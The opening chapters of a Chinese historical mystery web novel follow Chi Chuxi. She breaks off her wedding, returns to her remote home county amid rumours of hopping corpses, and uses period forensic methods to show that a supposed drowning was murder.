《灵尸笺》
1. 娘子算命
午后,距离敲响街鼓的时辰还早。
池楚浠捧着喜服从衣帽肆出来。
“乐此今夕,和鸣凤凰。”衣帽肆的老板娘说着吉祥话送客人出门。
尽管东市到黄昏时才会敲鼓赶客,但池楚浠不得不尽快赶回家,她家住在南边最偏的坊里,距离太远,需得在夜禁前回去。
大喜当前,她眼中洋溢着笑意。
“小娘子,算一卦。”
“小娘子,叫你呢小娘子。”
“我?”池楚浠顿住脚步往声音来源的方向看去,见着一个打扮得仙风道骨的男人。
这男人很是奇怪,穿着老气,胡子花白还长,从特征上看应是年纪挺大,但皮肤上又没什么皱纹。
池楚浠盯着他看了片刻,发现他粘在下巴上的假胡须好像要掉了。
她差点笑出声来。
“这位老丈,我不算命。”
刚转身要走,那假道人就立马叫住她,“小娘子你姻缘不顺,恐怕日后要吃苦头,我看你手上拿的是喜服吧,趁着还没结成这桩姻缘,赶紧悔了吧。”
假道人说得有点急,恨不得上前抢走她手中的喜服,让她成不了婚。
池楚浠把喜服抱紧,手上动作迅捷,一把扯下了他的假胡须。
“这位道长,莫再招摇撞骗,否则我就拉你去报官。”
“诶诶诶!你这小丫头,乱扯人胡子!”假道人手忙脚乱地把胡子粘回去,贴歪了,看起来很滑稽。
池楚浠大步跑开,马上就大婚了,她不想在骗子那里惹了晦气。
假道人闪身进了一座茶楼,顶着一脸的歪胡须对座上的人道:“景侍郎,她、她、她不信算命啊。”
男人的坐姿勉强算端正,看起来像是极力维持着这样正面的形象,眉眼里的一丝邪性却出卖了他。
他捏着手中的小茶杯,透过窗户看向街道上的女子,“她信了才奇怪。”
假道人摸摸胡须,索性一手拔了,“那您还让我去给她算命,她又不信这个,后天她还是得嫁人。”
景序昭的掌心放着三枚通宝,他将钱币合在手心,两掌随意摇动,摊开时,铜钱自行滚落。
铜钱出现三个阴面,阴爻,且是老阴。
第二次出现一个阴面,两个阳面,阴爻,少阴。
重复五次,即出卦象。
假道人凑上来看,“如何?抢亲一事能成吗?”
景序昭:“时乖运蹇,命途多舛,此卦难出头,成不了。”
周围的氛围瞬间就阴冷了,假道人赶紧捂住自己的嘴。
虽然捂了嘴,但还是忍不住要说话:“景侍郎,后日抢亲这事我能不能不参与,我老娘还等着我给她养老呢,万一咱被抓了,看守咱的都是老伙计,那多丢人呐。”
景序昭喝了一口已经凉透的茶,沉声道:“用不着你们,后天滚远点儿。”
“好好好,左侍郎心善!”陆逍赶紧迎合道。
景序昭再次看向窗外,街道上已经没有了那小娘子的身影。
她捧着喜服跑回家的背影那般欣喜,让他有那么一瞬间打了退堂鼓。
若是她真的喜欢,便如她意。
可是……
景序昭收起那怜悯一般的神情,掌中握着一枚同心锁。
不退让,不祝福。
他漠然看向长街尽头。
黄昏时,街鼓响起,分五回,共击鼓八百下。
夜色降临,坊市关门。
池楚浠早已回到家中,安义坊内的宵禁并没有主街上那般严格,天还未全黑,百姓们在坊内慢悠悠往家里去。
因要成亲的缘故,池楚浠从季家搬了出来,暂住田娘子家,到时季郎君会从田家把池娘子迎回去。
田娘子已是成了家生了孩子的妇人,且又对池楚浠极好,于是便让池楚浠认了她做干娘,也正好办这一回喜事。
毕竟池小娘子是无父无母的,总得有个人为她做主。
田娘子推开房门进来时,脸色不太好看。
“楚浠,季郎君来了……”她欲言又止。
“他这会儿怎么就来了,急成这样么?”池楚浠起身就要往外走去。
“诶。”田娘子拽住她的衣袖,“你别急着去见他,听我说句话。”
“您要说什么?”池楚浠耐心等着她讲。
田娘子磨蹭了一会儿,幽幽叹出口气,“他不是一个人来的,带了个女子。”
“女子?”池楚浠愣愣的,“可曾是我相熟的?”
池楚浠以为是她从前某个地方的熟人,季郎找来一起做个见证。
田娘子道:“是那位白小娘子。”
白小娘子……
那位小娘子近日在长安城内小有名气,季郎与她有来往也不足为奇,就是不知为何要在这时领着她来田娘子家。
“我去看看。”
池楚浠朝前厅走去。
季沐风已经在屋里等着她了,这趟是专程来找她的。
池楚浠见着他二人的那刻才明白过来田娘子为何那副神色,原来季郎早已与白小娘子十指紧扣。
“季郎。”
池楚浠如往常一样唤了一声。
仔细听,尾音有些发颤。
“季郎急着找我有何事?”
季沐风领着白娘子走近几步,脸上略有歉意,但随即又笑道:“楚浠,我有事与你商议,我欲娶蓉绒为妻,你二人可同日进府。”
田娘子赶紧上前一步扶了池楚浠一把,若是不扶这一把,她恐怕要失态了。
池楚浠从田娘子处借了些力,向她靠了靠,努力压着嗓音,用看似平静的语气道:“白娘子为妻,我为妾么?”
“季郎,先前你不是这么对我说的。”
“你在我阿耶坟前也不是这般说……”
话没说完便被打断,季沐风道:“你知蓉绒的家世,她乃白尚书之女,我如今还未有官职在身,算起来是我高攀了,总不能你为妻她为妾。”
池楚浠双脚发软,再次往田娘子身上靠了靠。
田娘子的夫君官职微小,自不可与尚书家比,但她此时也忍不住冷了脸道:“季郎已下了决心还有什么好说的,大婚在即,总不能还叫我家小女把婚服也改了吧,她那婚服可是按正妻的规格做的。”
“不必改,蓉绒不介意。”季沐风道,他还与白蓉绒双手交握。
池楚浠忽然靠自己站稳了,她看了白蓉绒一眼,随即盯住季沐风,“季郎,此事再议。”
“不必再议了。”季沐风道,“无需你改婚服,蓉绒说了,不介意,将来亦不会与你争什么。”
他说着看向身旁的白小娘子,眼里尽是喜爱,“她与寻常娘子不同,与所有人都不同。”
池楚浠能感觉到,在季沐风眼里,这位白小娘子非同寻常,仿佛全长安城的女人都不及她,能娶到她是他几辈子修来的福气。
这种喜爱是池楚浠没感受过的,令她陌生,也令她害怕。
“我不是说婚服,我是说我们这门婚事,季郎,你们先回去吧,时候不早了,待晚了一会儿干娘还得收拾房间让你们留宿。”
池楚浠道:“请回吧。”
池楚浠的话让
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季沐风怔了片刻,这样的回复是他没想到的,他以为楚浠不会介意,毕竟她向来温柔可人,善解人意。
“楚浠,你不要一时置气,我如今已是提前与你说了,并非独断专行。”
“二位请回。”池楚浠让出身后的路。
她这副拒不交流的样子让季沐风皱了皱眉。
温顺小羊怎么还有两副面孔。
白蓉绒眉眼带着笑意,似乎并不把这些当回事,她来到池楚浠面前,拉起她的手轻抚,“我只要一个正室的名分,即便是让我叫你姐姐,我也是不介意的,毕竟你的确比我大两岁。”
她拍了拍池楚浠的手背,笑道:“我先回去了,池姐姐。”
季沐风追着白蓉绒的脚步出去。
池楚浠身子又是一软,心中有无尽委屈全部涌出,泪水大滴大滴地砸在地上。
“干娘……”
“我在。”
田娘子将人抱在怀里,柔声安抚:“别气了,咱把这婚退了,不办了。”
“以前真没看出来这个穷措大是这种人,还没分上官职呢,那颗赤子之心先分了。”
“进士又怎么了?进士也是猪狗不如。”
田娘子胡乱骂了一通,好让干女儿消消气。
哭了一通后,池楚浠吃了一碗田娘子送来的夜宵。
父亲生前的官职只是偏远县的主簿,与长安城尚书没法比,如今她也只能算个良人,与白蓉绒一起嫁过去她只能为妾。
白蓉绒不计较婚服礼制,还愿称她一声姐姐,已经很难得了,就算是装出来的那也让人佩服,更让人觉得她和所有娘子都不同,她似乎不怎么看重所谓的礼法。
池楚浠窝在被子里,睁着眼睛睡不着。
不知到了几更,她迷迷糊糊地做起了梦。
梦里,她双手捧了一本书。
书上描述的世界和她周围的一切一模一样。
书里的主角是个小娘子,叫白蓉绒,是穿越来的,懂的东西很多,思想超前,野心很大。
刚穿来不久,她为了投效公主,在苍山县密谋刺杀大皇子心腹,那夜,苍山县内死了不少人。
苍山县在别人口中是穷乡僻壤,没有仵作,主簿兼职验尸。
连着验尸两日后,主簿从公廨回家路上失足落水而亡。
书的主角是白蓉绒,自然以她的视角进行展开,其他细节并未详细描述。
池楚浠读到主簿验出十具尸体伤口均有异常,非寻常武器刺入,那武器是经由白蓉绒改良后的三棱刺,极具辨识度,很容易查根溯源。
为了身份不暴露,白蓉绒伪造了主簿的死,并将被暗杀的尸体毁尸灭迹。
……
梦中,池楚浠每读一个字都浑身发抖。
她陷于梦境,无法辨识真假。
漆黑的卧房内,她紧闭双眼,眼球动得频繁,双手死死攥着被子。
苍山县主簿竟是这样死的么?
不是失足溺水而亡,她明明看过尸体,为何没有查出一点端倪。
父亲当年就不该半夜赶去查看那些尸体,若是等到天明,说不定尸体早被刺客一行人烧光了,他也不会白白搭上性命。
胸口发紧,呼吸不顺。
池楚浠猛然从梦中醒来。
像睡着了,又不像。
浑身都是冷汗,她呆愣良久。
这个梦……是真是假?
书中提到,父亲是被一味疑似毒药的东西迷惑,导致产生幻觉,分辨不清,最终失足落水。
若真是毒药,那一定可以查出来的,一定……
2. 连夜悔婚
池楚浠不怎么信鬼神,因为阿耶曾说过,人才是最会装神弄鬼的。
人比鬼可怕得多。
梦境无关鬼神,更像是一个指引。
无论真假,这场婚事都办不成了,她不想嫁,从前的心上人已经变心。
池楚浠连夜收拾起包袱,准备天一亮就回苍山。
书里的主角是白蓉绒,而她只是一个无足轻重的小角色,抛开书里的故事不谈,在季沐风眼里也只有新欢,而池楚浠可有可无。
她要离开长安。
五更两点,长安全城钟鼓报晓,声音从承天门的城楼上传来。
田兰竹给池楚浠的包袱里多塞了些东西,一小块金子和一些零用的铜钱。
“过所我让子墨办好了,一会儿差人给你送过来。”田兰竹说着就抹了抹眼泪,“你说好好一桩郎才女貌的婚事,怎么就弄成这样,那个狼心狗肺的东西,非得把你逼到这步田地,他还想一日娶两个,他想得美!”
池楚浠道:“当年若不是季郎救我于水火,我早已死在难民堆里,如今他有了心爱之人,我应当成全。”
她抬手轻轻抹去田兰竹眼下的泪珠,“我不是一定要嫁给他,真的。”
这句话不过是安慰安慰因此事伤感的田娘子,实际池楚浠的意中人一直是季沐风。
怪年少识人不清,爱上了一个不重承诺之人。
池楚浠拜别了田娘子一家,拿着过所往城门去。
天气正好,微风不急不躁。
池楚浠穿着一身便于骑行的衣裳,手里牵了匹刚买的马儿。
刑部办公处,陆逍匆匆忙忙跑了进来,没有丝毫仪态。
李尚书伸手朝陆逍抓过去,像抓住一阵旋风。
“你跑什么,堂堂员外郎,这副德性!”
陆逍被人拽住,强行止步,看清人后,他赶紧行了一礼,“李尚书。”
李尚书哼了一声,“还认得出是我,我看你眼里只有景侍郎,没有李尚书。”
“是属下失礼了。”陆逍又拜了一回。
李尚书见他还是一脸着急,恨不得长了翅膀飞过去,无奈叹了一声挥挥手,“去吧,不许再这样跑,谁像你似的。”
“是。”
陆逍应着,没跑,只是脚步很快。
他冲到景序昭面前,来不及做什么表面上的礼节,直接道:“池小娘子要出城了!”
景序昭躺在长凳上,脸上盖了一本卷宗,半死不活的,感受不到一点生气。
陆逍的话一说完,景序昭的上半身就直了起来,不知是哪桩案子的卷宗就掉了下来被他一把抓住。
陆逍道:“裴县尉给她拿的过所,是去苍山。”
“苍山?”景序昭满眼疑惑,“明日就大婚了,去什么苍山。”
“是啊,我收到消息时也觉得奇怪,便直接去问了咱们的眼线。”陆逍道,“紫珞说是池小娘子悔婚了,要离开长安,再也不回来了。”
景序昭迅速将卷宗放回台上,大步出门。
李尚书还未走出刑部大楼,景序昭风风火火的身影就越过他走到前面去了。
“左侍郎要去何处?”李尚书抓紧问了句。
身为左侍郎的顶头上司,但他在景序昭面前向来缺乏威严,一是因这景序昭家世显赫,二是景序昭本人惯常目无法纪,目中无人。
景序昭的身影已然走出去老远,但回的话还是让李尚书听清了:“申请调职。”
“调职……”
李尚书摸摸脑袋,瞬间明白过来,这位爷是要回家闹事了。
调不调职不是他这个顶头上司说了算,而是家里那位大都督说了算。
……
出了长安城,眼前的世界广袤无垠。
池楚浠纵马跑向西北方。
……
女婢紫珞来跟田娘子禀报:“季郎君又带着白小娘子来了,要咱们给个说法。”
田兰竹为这事还在气头上,从厨房里操起菜刀便奔了过去,“要说法,我今日就给他个说法!”
“夫人冷静!”紫珞匆忙追了出去。
田兰竹挥舞着菜刀把人赶出了门,声称老死不相往来。
待那二人真的离去后,田兰竹却在屋里哭,哭到伤心时便抱着紫珞,两人一起哭。
……
苍山县
太阳还未完全落山,气温却骤降。
上了年纪的妇人拽着儿子的衣袖,半拉半劝:“儿啊,近日不太平,夜里少出门。”
偏远乡县与长安城不同,不是每处都有宵禁。
董二郎指着天边的夕阳,“这不还亮堂着,我去去就回,阿娘晚上切盘肉,等我带酒回来。”
董二郎扶开老娘的手,兴冲冲往外去,今夜他是一定要喝上这口兰陵酒的。
妇人对着儿子的背影叮嘱:“早些回,城里闹僵尸。”
董二郎“切”了一声,“屁的僵尸。”
天边的微光也渐渐暗了下去,池楚浠对着手中的地图算了算路程,今夜若是不赶夜路的话便到不了苍山县。
她不想耽误太久,便决定连夜赶路,反正距离苍山县已经很近了,马儿的状态很好,能走完这一程。
董二郎从酒肆出来时周围已经彻底没了日光,好在今夜有月色,勉强能照明。
这条路走过百遍,哪怕闭着眼睛也能回到家中。
董二郎提着酒,美滋滋地哼着曲,心里惦记着阿娘切好的一盘肉。
月色如水,有树影在夜色下轻轻摇曳。
左前方是一处高地,那底下是一汪水池。
董二郎忽地顿住脚步,他看见那处高地上有个人影正一蹦一蹦,双手平直前伸,宛如僵尸行路。
他根本不信城里闹僵尸的传闻,他使劲揉了揉眼睛,再次定睛一看。
那个人影还在跳,一蹦一蹦,身子僵硬,甚至有点摇晃。
月色下,董二郎看得很清楚。
他瞪大了眼睛,双腿发软,无论往哪一边都挪动不了一步,他吓得四肢僵硬。
猛然,僵尸侧头看向他。
董二郎大叫一声,双腿终于能动了,搏命朝家中跑去。
他刚跑出没多远,后方便隐约传来“咕咚”一声,仿佛什么东西落水了。
兰陵酒没喝上,董二郎跑回家后便晕死过去,高烧不退。
池楚浠连夜赶路,直到天快亮时才歇息了一会儿。
找地方吃了一碗餺飥后,她才准备去自己从前的家看看,也不知那栋老房子如今还在不在。
苍山县不足两千户,位置偏远,少数过往商队为本地带来了一些收益。
两年未回,池楚浠并没觉得这
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里有多大变化,似乎一切还和从前一样。
她给马儿买了些粮草,给它喝了水。
许是有好些天没下雨了,即使轻轻走路,泥路上也能扬起不少尘土。
池楚浠迎面撞见了一具尸体,那具尸体放在一张木板上,由两个男人抬着,尸体身上盖了张草席。
“真是倒霉,怎么就失足落水了,昨日我还看见他在那儿念诗来着。”其中一个抬尸人道。
另一抬尸人给池楚浠使眼色,见她不为所动便直接道:“小娘子靠边站一站,一大早别盯着这东西。”
“小娘子胆儿真大。”
两人抬着尸体从池楚浠身旁经过,尸体的一只手臂从草席中滑了出来,指尖擦过池楚浠的衣料。
“等等。”池楚浠忽地道。
“他不是失足落水而亡。”
“你说什么?”两个抬尸人齐刷刷看向池楚浠。
池楚浠掀开尸体上的草席,腹部有些许鼓胀。
“尸身可是从深水区捞出?”她问。
一抬尸人道:“尸体不是我们捞的,不清楚,小娘子你是什么人,不是苍山县的吧,以前好像没见过你。”
女大十八变,苍山一些本地人认不出池楚浠在情理之中。
她道:“尸身双手不握拳,脚部只是略肿,并不发白起皱,他不是失足落水,而是死后才落入水中,不排除被谋杀的可能性,二位郎君应把尸身抬去公廨。”
两位抬尸人互相看了一眼。
池楚浠牵着马儿走了。
一栋破旧的小院前,池楚浠在那儿站了良久。
从前的家还在,只是早已破败不堪,她不敢推开门,无法想象里面该是一副什么景象。
苍山县公廨
罗家人守在这里要说法。
县尉刚检查完尸体,一脸无奈地对罗家人道:“你们说他还能是怎么死的,这也不像被人打死的,身上找不到一处致命伤。”
县尉一副破罐子破摔的模样摊摊手,“还想让我怎么查,要不你们告御状去。”
罗家老妇跪坐在地上哭泣,“我孙儿就这样白白被人杀了,连凶手都查不出……”
“孙儿啊!你好冤!”
妇人哭得县尉头更疼了,捂着脑袋往旁边躲去。
县令和主簿也一筹莫展,悄悄跟县尉凑在了一堆,各自抚着各自的额头。
主簿道:“不是溺死的还能是怎么死的,已经派人去排查罗家郎君的仇家了。”
县尉道:“说是溺死,其状也确有疑点,根据《大晟洗冤录记载》不像完全溺死。”
“不像完全溺死?”主簿听糊涂了,“溺死还能溺一半的?你这说的什么话。”
县令叹了口气,“先排查。”
罗家男人突然道:“找那位小娘子来验尸!”
县令揉了揉脑袋上的穴位,吩咐主簿:“去查一查今日过所名录,把那位小娘子请来。”
不良人找到池楚浠时已经快日落西山了。
池楚浠已经大致将小院地板清理干净,勉强整理出今夜落脚的卧房。
两个不良人是直接带着刀闯进来的,他们并不是朝廷上正式的官差,不入朝廷编制。
“是池小娘子?”又高又壮的那位问道。
池楚浠挽着袖子拿扫帚看着他们:“嗯。”
3. 闹了僵尸
不良人催促着池楚浠来到公廨,还未踏上公廨前的门槛,她就听见里面传来哭泣声。
池楚浠跟着不良人进去,两人将她领到县令跟前。
“温县令,这位就是池小娘子。”
温迟在看见池楚浠的一刹那怔了怔,随即揉了揉眼皮,想把人看得更清楚。
“是楚浠?”
温迟上前两步,更仔细地看着她。
池楚浠唤道:“温伯,久违。”
“还真是你!”温迟一时没忍住,拉过池楚浠的手轻抚,“去长安这两年可过得顺意?”
池楚浠嗯了一声,“挺好的,长安繁华,我也算是见了世面,温伯可安康,伯母和妹妹好吗?”
温迟道:“都好。”
一位抬尸人凑过来打断他们二人叙旧,指着池楚浠道:“正是这位小娘子,是她说罗郎君不是被淹死,是被人害死的,让她一验便知。”
池楚浠朝哭泣的罗家夫妇看去,对所有人道:“我只是说有这个可能,至于死者具体是如何死亡,需要进一步查验。”
县尉道:“那你赶紧去看看尸体,自打你阿耶去世后,咱们苍山县就没有懂验尸的。”
余县尉语气颇有些不耐烦,原本这桩事可以按失足落水处理,如今偏偏要扯上谋杀,平白多出许多活要干。
这会儿正是吃饭的时辰,个个都还饿着肚子呢。
“叫人准备苍术、皂角、葱白、醋。”池楚浠道。
她知道公廨里的停尸房在哪儿,径直朝那边走去。
温迟吩咐余县尉:“去准备。”
余县尉面色不悦,小声嘟囔:“浪费时间,天快黑了,大伙还没回家吃饭。”
温迟瞪了他一眼,“叫你去你就去,若是这桩事办不好,待新任县丞一来,咱们吃不了兜着走。”
温迟放低了声音跟余县尉嘀咕:“咱们小小一个苍山县,却调来长安的人,谁知道安的什么心,不好好办案子,当心饭碗不保。”
被这么一说,余县尉哪怕再不满也老老实实去准备东西了。
杂役在停尸房门口烧苍术和皂角,有烟雾飘散而起。
池楚浠看了看天色,没等烧够时辰就跨过门槛进屋去了,再等下去天色就太晚了。
尸体身上的衣服已经被剥开,之前由县尉检验过一次。
池楚浠揭开白布,仔细观察尸体身上的每一处。
余县尉思前想后还是跟着进去一起看。
“你看吧,什么伤都没有,还是自行溺死的可能性最大。”余县尉道。
池楚浠在观察死者的胸腔部位。
她道:“我阿耶生前有著一册《验尸集录》,只是还没写完,今日回去后我会誊抄一份放在公廨,余县尉可照着书本验尸。”
余县尉还没来得及翻白眼,就听见池楚浠继续道:“若生前溺水而亡,死者会两手握拳,腹部拍起来有水声。”
余县尉指着死者的腹部道:“这不挺鼓的嘛,难道里面没水?”
池楚浠抬头看了他一眼,继续道:“口鼻内的泡沫清理过了?”
余县尉:“没有泡沫,这尸体我基本没怎么动,就扒开衣服看了看。”
余县尉看向身旁的洪源,“可都记下了?”
“记下了。”洪源拿着笔写下池楚浠查验的细节,这些都需要记录在册。
池楚浠道:“皮肤略黄,脚底略肿,尸身膨胀不明显。”
洪源一一记下。
“余县尉,这些皆是死后落水的特征。”
余县尉一个四十岁的男人,业务能力不及一个十几岁的小娘子,他尴尬地挠了挠头道:“回头记得誊抄那什么验尸集录给我看看。”
池楚浠:“好。”
洪源一边记一边看尸体,他免不了跟余县尉同样疑惑道:“可这尸体身上没有被殴打的痕迹,若是死后落入水中,那他是怎么死的?”
池楚浠:“罗郎君可有什么疾病,可否问过他的家人。”
余县尉:“问过了,说是自小有点心疾,但已经好几年不曾发作了,平时跟没事人差不多,罗家人还觉得庆幸呢。”
“他们罗家人死活不同意是心疾发作后落水,非逼着我们要揪出幕后凶手。”
余县尉说到这里叹了口气,他是真的很不耐烦。
池楚浠在尸体皮肤上找到几处不明显的异常,她道:“拿水和毛巾来。”
她将这几处皮肤用水敷湿,擦洗干净,将提前准备好的葱白捣碎。
“等等。”余县尉将她手中的沙盆拿了过来,“明日再弄,你看天色,快黑了。”
池楚浠从门口望去,“我只需要一个时辰,若是还验不出来,那明日再继续。”
“一个时辰也不行。”余县尉脸色难看,有些为难地凑到她耳边,“天黑办不了事,咱们这里闹僵尸闹了一月有余。”
“僵尸?”池楚浠以为自己听岔了。
她朝一旁的主簿看去,这个人看起来要比余县尉稳重得多,总不至于说胡话。
只见洪源点了点头道:“没错,天一黑最好各回各家,把门窗关死。”
池楚浠愣了片刻忽地笑了,“苍山县出僵尸了?”
两人见她笑得弯了眼睛,彼此看了一眼,洪源道:“一个时辰太久了,还是明日再验吧,虽说我未曾见过那传闻中的僵尸,但有不少人都见着了,苇村那边有人自从见了之后一病不起,这会儿还在床上瘫着。”
余县尉把捣葱白的沙盆放在尸体旁边,“宁可信其有不可信其无,既然一个时辰也不一定能验出来,那今日就先散了。”
“走吧池小娘子,大伙还没吃饭呢。”
两人不让她继续验,怕耽误时辰,池楚浠只能从停尸房出来。
杂役把醋泼在烧着的苍术和皂角上,烟雾腾起,人从其上跨过,身上的尸臭味便消散了许多。
这具尸体本身还没到发臭的程度,苍山县的气温四月里不算高,尸体腐败得较慢。
即使没什么臭味,熏一熏也会更好。
阿耶曾说过,熏一熏,除臭、辟邪。
尽管池楚浠并不信有什么邪祟,但她还是会走一走辟邪的流程,方才那二人口中的僵尸,听起来更像是混子编出来的鬼故事。
眼见要天黑了,罗家人早就离开了公廨。
温迟招呼过来一位不良人,正是又高又壮的那位。
“小花,送池娘子回去。”
池楚浠快速摆摆手,“不必了,我自己回。”
家中无米无菜,更没有柴火,池楚浠打算回去的路上顺便把晚饭吃了。
刚一走到街上,就看见各个店铺匆忙关门,大家争前恐后,生怕晚了一步。
见这架势,池楚浠索性跑起来,用最快的速度冲到一家卖面点的摊位前。
“老丈,我要一碗面!”她气喘吁吁。
“不卖了不卖了,要吃面自己回家煮去。”老丈说完,“砰”的一声把门关死。
池楚浠愣在原地,四下一看,全都关门了。
苍山县到底有什么僵尸,竟这样民心惶惶。
收拾了一天屋子,又被不良人拉到公廨,如今连晚饭都没得吃。
苍山县果然还是和从前一样,对她一点也不友好。
温迟刚到家没多久,他娘子便追着问:“楚浠回来了,你为何不叫她过来,许久未见,吃顿饭不行吗?”
温迟闷闷地叹了口气,“两年前就与你说过,不要再和池家扯上关系,还请回来吃什么饭,我只希望她这次回来别给我惹麻烦就好。”
靳娘子瞬间也阴郁起来,“事情都过去两年了,若当年池主簿真有事现在早就闹翻了,楚浠还活着,那不正说明没什么事嘛,池主簿的死只是个意外。”
温迟:“但愿吧。”
池楚浠弄了根鱼竿,提了个篓子去钓鱼,如果运气好今晚还能做一顿鱼汤。
她提着鱼篓从河岸上下来,一个老丈就提着鱼篓从岸边上去,两人刚好遇上。
老丈用惊疑地眼神看着池楚
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浠,先是被吓了一跳,反应过来后才松了口气,“小娘子这个时辰来钓鱼?”
池楚浠笑笑,“是啊,家里揭不开锅了。”
老丈的眼神转为同情,伸手就从自己的鱼篓里抓了条鱼塞过来,“给,快回去吧,太阳落山了,夜里不太平,快回去。”
老丈接连塞了三条大鱼到池楚浠的篓子里,动作很麻利,他塞完鱼就赶紧走了。
“多谢老丈!”池楚浠大声道谢。
“快回吧。”老丈走远了还不忘再提醒一句。
池楚浠的鱼竿没派上用场,她都不知道自己做的这根鱼竿能不能钓上来鱼。
她就在河边捡了些柴火往家里抱去。
夜色渐深,路上除了她再无行人。
池楚浠往身后看了一眼,黑漆漆,空荡荡的,仿佛有什么东西在身后跟着,总让人心里发怵。
她不信有僵尸,人死了只会逐渐腐烂,若是因为某种原因尸身长期不腐,那他也只是一具尸体,不可能跳起来害人。
苍山县里的百姓都信僵尸,这很诡异,除非有许多人亲眼见过。
池楚浠走在回家的路上,夜晚气温骤降,她怕冷,不免加快了脚步。
池家老宅坐落的位置没太多人气,周围只有零零散散几户人家,这会儿隔壁那几户人家都把门窗关死了,隐约能看见从窗户纸上透出来的微光。
前方街道的拐弯处,一个黑乎乎的影子在原地蹦跶了几下。
借着月色,池楚浠看见了那个影子,当下脚步就僵住。
人影一蹦一跳地走入了街道的拐弯处。
池楚浠回过神来,抱着柴火追了几步,顿时看见一个正常行走的人影从那处经过,就跟在僵尸人影身后。
是人。
池楚浠没有再追上去,看那身形应当是个男人,贸然追上去自己恐怕不是他的对手。
半夜三更,装神弄鬼,尽管前面那个身影的确像僵尸,但后面终归跟了一个人,一定是跟人有关,而不是鬼神之事。
池楚浠悄然撤退,走小道回了自己家。
一人一僵尸同时出现,他们的目的是什么。
池楚浠自己在家里煮鱼吃,她弱女子一个,没有办法第一时间冲上去查探。
这是公廨应该做的事,可公廨里的人都被所谓的僵尸吓得不敢出门,更何谈半夜出来探查。
正街上,每家每户都把门窗封死了,一户房子里若是有两三个身强体壮的男人,那么那户人家胆子就大些,这会儿还亮着烛火。
家里没有男人,或者胆子小一些的人早已熄灯睡了,秉着一副只要睡着了僵尸就找不到的态度麻痹自己。
“容九娘子屋里还不熄灯呢。”对面楼的妇人在窗口瞧见了,对自己的夫君说。
“你管她,她向来灯亮到半夜。”
妇人阴阳怪气地扫了一眼夫君,“你是不是夜夜留意着她,连她家的烛火亮半宿都一清二楚。”
男人“嘁”了一声,无语地钻进被窝。
“容九娘子是苍山最漂亮的小娘子,你说一句惦记她我能把你怎么着,又不止你一个人惦记她。”
对面的房子是一处矮楼,那屋里只住着容九娘子一人,独自居住的人都不敢亮灯,唯独她刚换上一支新烛。
容九娘今日穿得很素,头未戴花,不施任何粉黛。
她局促地坐在屋中,仿佛在等什么人,但眼神里又流露出一丝厌恶。
终于,她愤愤地踢了一脚桌子腿。
她家不仅亮着灯,连门也没锁。
吱吱一声,门被人从外面推开。
“九娘。”男人兴致勃勃地钻进了屋,反手把门锁上。
容九娘起身看着他,尽量收起眼底的那丝嫌恶,“你能不能不要来了。”
男人凑到容九娘跟前笑笑,“等我攒够了钱,我就找媒婆跟你提亲。”
容九娘不喜,但却不敢说,憋了许久,喉咙里就嗯了一声。
她不喜欢男人身上那股尸臭味。
4. 新任县丞
池楚浠一大早就去了公廨,继续验尸。
葱白换了新鲜的,小花将葱白捣碎交给了池楚浠。
今日不仅有葱,县尉还准备了椒、盐、白梅。
县尉照样跟着进了停尸房,“池娘子,劳烦你尽快将结果验出来,今日新任县丞就到了,若是让他看见我们还一筹莫展,以后回长安指不定会打小报告,说我们几个尸位素餐。”
池楚浠让人把尸体抬到院中,这样光线更清晰。
“我尽量。”池楚浠道。
她将捣碎的葱、椒、盐、白梅依次往疑点处敷,花了一上午的时间依旧没看见更明显的内伤。
“这……”县尉着急了,“这也没有明显致死的内伤,不还是失足溺水吗。”
洪源在一旁记录。
池楚浠再次查看了几遍皮肤上那几处疑点,还无法判断。
她也有些犯难,很有可能折腾了许久到最后还是只能得出失足溺死的结论。
验尸有规定,这种情况若完全无法判断,记录时依旧要填溺亡。
县尉对洪源道:“就填溺亡,没时间瞎折腾了,赶紧把这桩案子结了。”
洪源有些纠结,拿着笔还没写。
“余县尉,再给我一些时间。”池楚浠道,“我再验一次,若是没验清楚胡乱结案,到时罗家人去跟长安来的新县丞告状,你们岂不是更麻烦。”
洪源点点头,“池娘子说得有道理,再验一回。”
余县尉:“验吧验吧。”
池楚浠抬头看了看天色,今日天气阴沉,太阳被厚厚的云层遮挡,没法用红伞验尸。
她道:“我要炭火,烧得很旺的炭火。”
余县尉虽然不明所以,但还是吩咐杂役去办,就在公廨后面找了块地烧炭。
午饭就在公廨里堂食。
炭火还未烧旺,池楚浠耐心等着。
县令他们没有耐心了,虽说县丞职位低于县令,但人家是长安特调来的,说不定只是来这边缘地区练练手,过几日就回去长安过富贵日子了,在他面前留下个好印象是很有必要的。
县令带着人亲自来看炭火,忍不住烦躁地揉了揉眉心。
说到底这事是池楚浠捅出来的,若没有她多嘴,这根本算不得一桩案子,尸体估计都已经下葬了。
杂役从后门穿过来通报:“县令,新任县丞到了。”
县令赶紧迎了过去。
池楚浠盯着火,对小花道:“把尸体抬过来。”
县尉帮着把尸体移到炭火前。
“池小娘子,这是准备怎么验?”
“县尉,红新油绢。”
县尉将备好的新油绢递过去,这是池楚浠吃午饭时要人去准备的。
池楚浠:“不明显的伤痕和骨伤可用此法。”
尸体已经用酒糟和醋清洗干净,池楚浠命人拉开油绢遮在尸身上方,迎着炭火隔油绢观察。
“妙啊!”余县尉惊叹,凑上前去仔细看。
“还真有伤痕!”
有几人大步从后门走来,似乎很急。
一道陌生的声音响起:“池娘子的验尸手法乃当世第一。”
这句夸张的马屁令余县尉好奇地转过了头,一眼就看见了站在县令身边的年轻郎君。
“你就是景县丞,年轻有为啊。”余县尉和洪源商量好了要这么夸新来的县丞。
景序昭微微牵了牵嘴角,简单跟两位同僚打了招呼。
池楚浠正在仔细观察伤处,方才听见有人叫她时便略微抬眼扫了一下。
好巧,这位新县丞竟是个熟人。
没空跟熟人打招呼。
“洪主簿,麻烦记一下,胸口、左肋各有伤。”
这样一番查验,内伤均记录在册。
县令松了口气,拿着验尸结果去了堂上,再与罗家人断案。
温迟早已得到消息,新任县丞乃是长安司空兼扬州大都督景博珩之子,还是老来得子,无论因为什么原因让景序昭流落到苍山,他都不敢怠慢,景博珩虽在家颐养天年,但门生遍布朝野,景家盘踞长安政治中心多年,实权正盛。
温迟给景序昭端了凳子,坐着听。
罗家夫妇得知验尸结果,哭诉得更厉害了。
“我儿果然是被人杀害,还请县令为我们做主!揪出凶手,杀人偿命!”
池楚浠站得比罗家人还远,她正琢磨着验尸结果,那几处内伤不像是致命伤,她觉得还不够有说服力,颇有些勉强。
若是还能有其他的证据就好了。
景序昭忽然道:“池娘子可是有什么话想说?”
